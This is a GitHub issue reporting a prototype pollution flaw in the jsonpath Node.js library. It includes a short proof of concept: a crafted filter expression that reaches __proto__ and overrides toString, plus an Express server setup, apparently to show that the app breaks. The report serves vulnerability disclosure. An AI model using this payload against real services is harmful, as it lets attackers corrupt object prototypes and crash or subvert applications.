dchester / jsonpath

Query and manipulate JavaScript objects with JSONPath expressions. Robust JSONPath engine for Node.js.
MIT License
1.34k stars 216 forks source link

Prototype Pollution #144

Open po6ix opened 4 years ago

po6ix commented 4 years ago

poc

var jp = require('jsonpath');
var data = [{}]
var names = jp.query(data, `$..[?( ({})['__proto__']['__defineGetter__']('toString', ({})['constructor']) )]`);

const express = require('express');
const app = express();

app.get('/', (req, res) => {
    res.end('working');
});

app.listen(8080);